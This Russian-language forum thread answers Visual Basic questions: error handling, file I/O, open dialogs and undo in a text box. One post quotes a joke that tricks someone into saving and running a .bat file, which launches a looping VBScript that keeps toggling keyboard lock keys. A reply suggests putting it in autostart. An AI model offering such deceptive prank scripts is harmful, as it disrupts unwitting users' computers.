![]() |
Здравствуйте, гость ( Вход | Регистрация )
![]() ![]() |
![]() |
![]()
Сообщение
#41
|
|
![]() Князь Бореи Сообщений: 5 171 Спасибо сказали: 1349 раз ![]() |
Такая ситуация: сначала открываю файл, и пересохраняю его
OpenDocument Name1 ... ActiveDocument.SaveAs Name2 Но вот если Name2 открыт - вылетает ошибка. может быть можно как-то провести проверку на открыт файл или не открыт??? On Error Resume Next конечно ошибку игнорирует и не вылетает, но хотелось бы ошибку отловить и предотвратить |
|
|
![]()
Сообщение
#42
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
на счет VBA я не знаю но можно ошибку отловить
On Error Resume goto label тут код label: msgbox err.description -------------------- |
|
|
![]()
Сообщение
#43
|
|
![]() Князь Бореи Сообщений: 5 171 Спасибо сказали: 1349 раз ![]() |
Я наверное всех заманал со своим Бейсиком, но объясните дурачине:
как в переменную записывать из файла данные? и как обратно, потом данные заисать в файл? |
|
|
![]()
Сообщение
#44
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
мб read, write?
|
|
|
![]()
Сообщение
#45
|
|
![]() Князь Бореи Сообщений: 5 171 Спасибо сказали: 1349 раз ![]() |
это в паскале... тут что-т типо input и print
но я не знаю как файлы открывать и как к ним обращаться |
|
|
![]()
Сообщение
#46
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
тьху, действительно с паскалем перепутал
|
|
|
![]()
Сообщение
#47
|
|
![]() Immortal Сообщений: 1 137 Спасибо сказали: 269 раз ![]() |
Новая фича БОРа:
Цитата(bash.org.ru) Код Yyy: Приветик Зайка моя вставь этот текст в txt документ, в расширении поставь .bat открой его и увидишь свою судьбу!!! echo Chr(39)>%temp%\temp1.vbs echo Chr(39)>%temp%\temp2.vbs echo on error resume next > %temp%\temp.vbs echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs echo do >> %temp%\temp.vbs echo wscript.sleep 200 >> %temp%\temp.vbs echo s.sendkeys"{capslock}" >> %temp%\temp.vbs echo wscript.sleep 200 >> %temp%\temp.vbs echo s.sendkeys"{numlock}" >> %temp%\temp.vbs echo wscript.sleep 200 >> %temp%\temp.vbs echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs echo loop>> %temp%\temp.vbs start %temp%\temp.vbs start %temp%\temp1.vbs start %temp%\temp2.vbs А вы говорите, Dark Side... ![]() Добавлено ([mergetime]1202465393[/mergetime]): (не делайте так, если не уверены!) -------------------- ![]() |
|
|
![]()
Сообщение
#48
|
|
![]() Оранжевый Канцлер Тьмы Сообщений: 2 344 Спасибо сказали: 618 раз ![]() |
А если сделали - убейте scipthost в диспетчере запущенных процессов.
-------------------- I am the fury in your eyes. I am reason, I am vice.
Careful what you say You may regret it, Careful what you wish You just might get it. |
|
|
![]()
Сообщение
#49
|
|
![]() Immortal Сообщений: 1 137 Спасибо сказали: 269 раз ![]() |
ИЛИ пЕРЕзагрУЗИтьсЯ... А ИМЕнно- УБРать ПРОЦесс WScriPt.Exe.
-------------------- ![]() |
|
|
![]()
Сообщение
#50
|
|
![]() Оранжевый Канцлер Тьмы Сообщений: 2 344 Спасибо сказали: 618 раз ![]() |
Цитата(Irh @ 08 Feb 2008, 15:48) ИЛИ пЕРЕзагрУЗИтьсЯ... А ИМЕнно- УБРать ПРОЦесс WScriPt.Exe. а, да, scripthost и есть wscript.exe ![]() еще прикольно все это хозяйство совать в автозагрузку ![]() -------------------- I am the fury in your eyes. I am reason, I am vice.
Careful what you say You may regret it, Careful what you wish You just might get it. |
|
|
![]()
Сообщение
#51
|
|
![]() Banished Сообщений: 1 782 Спасибо сказали: 116 раз ![]() |
Как можно сделать окно "Открыть" в VB??
Т.е. при нажатии на кнопку открывается стандартный диалог Win "Открыть" - как это реализовать? -------------------- |
|
|
![]()
Сообщение
#52
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
2 DracoLich
находим в компонентах CommonDialog и добавляем его на форму, после этого вызывая различные диалоги можно сохранять, открывать, просматривать цвет, шрифт и т.п. есть так же способ без библиотеки - напрямую ф-я -------------------- |
|
|
![]()
Сообщение
#53
|
|
![]() Immortal Сообщений: 1 137 Спасибо сказали: 269 раз ![]() |
Код Dim dlg As FileDialog = New OpenFileDialog
dlg.ShowDialog() MsgBox(dlg.FileName) -------------------- ![]() |
|
|
![]()
Сообщение
#54
|
|
![]() Banished Сообщений: 1 782 Спасибо сказали: 116 раз ![]() |
Bourn, спасибо.
Irh, не понял, что с этим делать ![]() Еще вопрос - как можно вживить опцию "отмена"? Т.е. чтоб возвращалось предыдущее состояние текст. окна до последнего изменения, т.е. стандартная "отмена"? -------------------- |
|
|
![]()
Сообщение
#55
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs А это-то нафига ? От жадности ? -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#56
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
Цитата(DracoLich @ 08 Feb 2008, 19:56) Еще вопрос - как можно вживить опцию "отмена"? Т.е. чтоб возвращалось предыдущее состояние текст. окна до последнего изменения, т.е. стандартная "отмена"? не совсем понял,"отмена" в каком именно окне, и к какому первоначальному состоянию? -------------------- |
|
|
![]()
Сообщение
#57
|
|
![]() Banished Сообщений: 1 782 Спасибо сказали: 116 раз ![]() |
То бишь "отмена" в Блокноте - отменяет последнее действие с текстом. Вот точно то же и нуно...
-------------------- |
|
|
![]()
Сообщение
#58
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
2 DracoLich
ты можешь еще точнее выражаться что и где тебе надо, я потому что просто пока догадываюсь то что ты хотел сказать... Ctrl+Z не пашет? -------------------- |
|
|
![]()
Сообщение
#59
|
|
![]() Banished Сообщений: 1 782 Спасибо сказали: 116 раз ![]() |
В текст окне - нет. Там изменяешь текст, и никак не вернуть обратно прежнее... Мне же нужно реализовать "возврат"
-------------------- |
|
|
![]()
Сообщение
#60
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата(DracoLich @ 08 Feb 2008, 22:15) В текст окне - нет. Там изменяешь текст, и никак не вернуть обратно прежнее... Мне же нужно реализовать "возврат" TextBox ? Ну, в общем, варианты тут какие есть: 1) Запоминай каждое сделанное изменение текста в список или массив. По щелчку кнопки - восстанавливаешь пердыдущий вариант текста на основе запомненной информации. 2) Аналогично запоминай после каждого редактирования значение текстового поля. В таком случае просто копируешь обратно старый текст при нажатии кнопки. Как из этих двух способов использовать - решать тебе. Отмечу, что первый предпочтительнее для больших текстов (ну, собственно, как в упомянутом тобой Блокноте), второй же - для одиночных строк (путь к файлу, например). -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]() ![]() |
Текстовая версия | Сейчас: 13 October 2025 - 19:54 |
Copyright by Алексей Крючков
![]() Programming by Degtyarev Dmitry |
|